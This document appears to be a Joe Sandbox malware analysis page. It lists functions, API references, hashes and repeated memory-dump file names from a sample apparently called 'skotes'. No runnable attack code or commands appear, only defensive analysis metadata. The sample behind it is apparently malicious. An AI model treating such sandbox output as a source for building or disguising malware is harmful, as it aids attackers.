Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: 4f21e5fee174f032018e694ae6a0341d5d6fefcbe40a7f3830a9976cfd79c2c9
Instruction ID: 9b9f1a5779d2aa90a0dc00bb01e4eb09775309807b8910f04d1df99cc36fe4a1
Opcode Fuzzy Hash: 4f21e5fee174f032018e694ae6a0341d5d6fefcbe40a7f3830a9976cfd79c2c9
Instruction Fuzzy Hash: EA816BB0A11A52BBD708EF748941BD9FAE8FF19704F10521BE528A7381DBB4A521CBD1

Function 00ECEE5F Relevance: 9.1, APIs: 6, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 00ECEEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 00ECEEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 00ECEEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00ECEF0F
Concurrency::Context::Block.LIBCONCRT ref: 00ECEF31

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID:
API String ID: 1182035702-0
Opcode ID: 69f1f39b3be1660d57d774fdc1bfe57046da7c0f3e906be129b0ef9827f7299d
Instruction ID: 07cf1f730622657de54a773333f92b97c47e5c6081630bbe50bd647359fe0026
Opcode Fuzzy Hash: 69f1f39b3be1660d57d774fdc1bfe57046da7c0f3e906be129b0ef9827f7299d
Instruction Fuzzy Hash: CB215E709142498EDF28DFA4CA45BEEB7F1BF14324F10292EE151B63D1E7B28A46CB51

Function 00EECBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00EECC66

Strings

v, xrefs: 00EECBE1

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v
API String ID: 3213747228-1361604894
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 998f46ccf1bc3f52bf6e6ef7529c5f3734c083e9d22842cab6f5f45ef25e9a5d
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: C2B111329002C99FDB158F6AC881BBEBBE5EF45344F3451AAE855FB242D6359D02CB60

Function 00EF67A9 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00EF6902
__alloca_probe_16.LIBCMT ref: 00EF6998
__freea.LIBCMT ref: 00EF6A03
__freea.LIBCMT ref: 00EF6A0F

Strings

ej, xrefs: 00EF6949, 00EF681A

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID: ej
API String ID: 1635606685-3076059804
Opcode ID: 643675e56f4b195e616acd516ce28232a9ff6c75bbcd400f188e948a13a3325d
Instruction ID: c7e1e395691ae58b6fdc0133842137e764ef0201276672c8e920b9987b9262b0
Opcode Fuzzy Hash: 643675e56f4b195e616acd516ce28232a9ff6c75bbcd400f188e948a13a3325d
Instruction Fuzzy Hash: DB81C072D0068DABDF249E658841AFF7BF9DF49358F196159EA11B7281D771CC008BA0

Function 00EE1B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 00EE1B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00EE1B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00EE1C2A

Strings

switchState, xrefs: 00EE1B5E
pContext, xrefs: 00EE1C22

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: 311f8c6173e4bc49f1081df6b1e33699553fa5d9989a52b0e1e8976dfc640d31
Instruction ID: 13a8f475320fb26edfd5ec6dbabb0a5c183acd9e6cba4e24c6c2d3d53b7422e3
Opcode Fuzzy Hash: 311f8c6173e4bc49f1081df6b1e33699553fa5d9989a52b0e1e8976dfc640d31
Instruction Fuzzy Hash: E931D435A00258EBCF14EF65C885EADB3B5FF44314F2055A9E911FB282EB71ED41DA90

Function 00EE727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00EE72BE

Strings

.com, xrefs: 00EE72FE
.cmd, xrefs: 00EE72DC
.bat, xrefs: 00EE72ED
.exe, xrefs: 00EE72CB

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
